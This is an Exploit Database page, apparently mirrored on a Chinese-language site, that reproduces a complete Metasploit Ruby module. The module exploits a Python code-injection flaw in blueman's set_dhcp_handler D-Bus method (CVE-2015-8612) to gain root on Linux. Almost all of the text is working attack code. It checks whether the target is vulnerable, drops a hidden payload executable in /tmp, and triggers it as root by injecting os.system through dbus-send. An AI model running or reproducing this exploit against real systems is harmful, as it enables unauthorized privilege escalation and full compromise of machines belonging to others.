blueman – set_dhcp_handler D-Bus Privilege Escalation (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2019-01-16
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46186/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',
  'Description'=> %q{
  This module attempts to gain root privileges by exploiting a Python
  code injection vulnerability in blueman versions prior to 2.0.3.
  
  The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
  `set_dhcp_handler` function which uses user input in a call to `eval`,
  without sanitization, resulting in arbitrary code execution as root.
  
  This module has been tested successfully with blueman version 1.23
  on Debian 8 Jessie (x64).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'the grugq', # Discovery and exploit
  'bcoles' # Metasploit
  ],
  'DisclosureDate' => '2015-12-18',
  'References' =>
  [
  ['BID', '79688'],
  ['CVE', '2015-8612'],
  ['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],
  ['URL', 'https://github.com/blueman-project/blueman/issues/416'],
  ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],
  ['URL', 'https://www.debian.org/security/2015/dsa-3427'],
  ['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],
  ['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']
  ],
  'Platform' => ['linux'],
  'Arch' =>
  [
  ARCH_X86,
  ARCH_X64,
  ARCH_ARMLE,
  ARCH_AARCH64,
  ARCH_PPC,
  ARCH_MIPSLE,
  ARCH_MIPSBE
  ],
  'SessionTypes' => ['shell', 'meterpreter'],
  'Targets'=> [['Auto', {}]],
  'DefaultTarget'=> 0))
  register_advanced_options [
  OptBool.new('ForceExploit', [false, 'Override check result', false]),
  OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
  ]
  end
  
  def base_dir
  datastore['WritableDir'].to_s
  end
  
  def upload(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  register_file_for_cleanup path
  end
  
  def upload_and_chmodx(path, data)
  upload path, data
  chmod path
  end
  
  def dbus_send(dest:, type:, path:, interface:, contents:)
  cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
  end
  
  def check
  unless command_exists? 'dbus-send'
  vprint_error 'dbus-send is not installed. Exploitation will fail.'
  return CheckCode::Safe
  end
  vprint_good 'dbus-send is installed'
  
  res = dbus_send(
  dest: 'org.blueman.Mechanism',
  type: 'method_call',
  path: '/',
  interface: 'org.freedesktop.DBus.Introspectable.Introspect',
  contents: ''
  )
  
  unless res.include? 'EnableNetwork'
  vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
  return CheckCode::Safe
  end
  vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
  
  res = execute_python('')
  unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
  vprint_error 'Target is not vulnerable'
  return CheckCode::Safe
  end
  
  CheckCode::Vulnerable
  end
  
  def execute_python(code)
  dbus_send(
  dest: 'org.blueman.Mechanism',
  type: 'method_call',
  path: '/',
  interface: 'org.blueman.Mechanism.EnableNetwork',
  contents: "'string:[]' 'string:[]' 'string:#{code}'"
  )
  end
  
  def exploit
  unless check == CheckCode::Vulnerable
  unless datastore['ForceExploit']
  fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
  end
  print_warning 'Target does not appear to be vulnerable'
  end
  
  if is_root?
  unless datastore['ForceExploit']
  fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
  end
  end
  
  unless writable? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is not writable"
  end
  
  payload_name = ".#{rand_text_alphanumeric 10..15}"
  payload_path = "#{base_dir}/#{payload_name}"
  upload_and_chmodx payload_path, generate_payload_exe
  
  print_status 'Executing payload...'
  res = execute_python "os.system(\"#{payload_path}&\")"
  vprint_line res
  
  unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
  fail_with Failure::NotVulnerable, 'The target is not vulnerable'
  end
  
  if res.include? 'SyntaxError:'
  fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
  end
  end
  end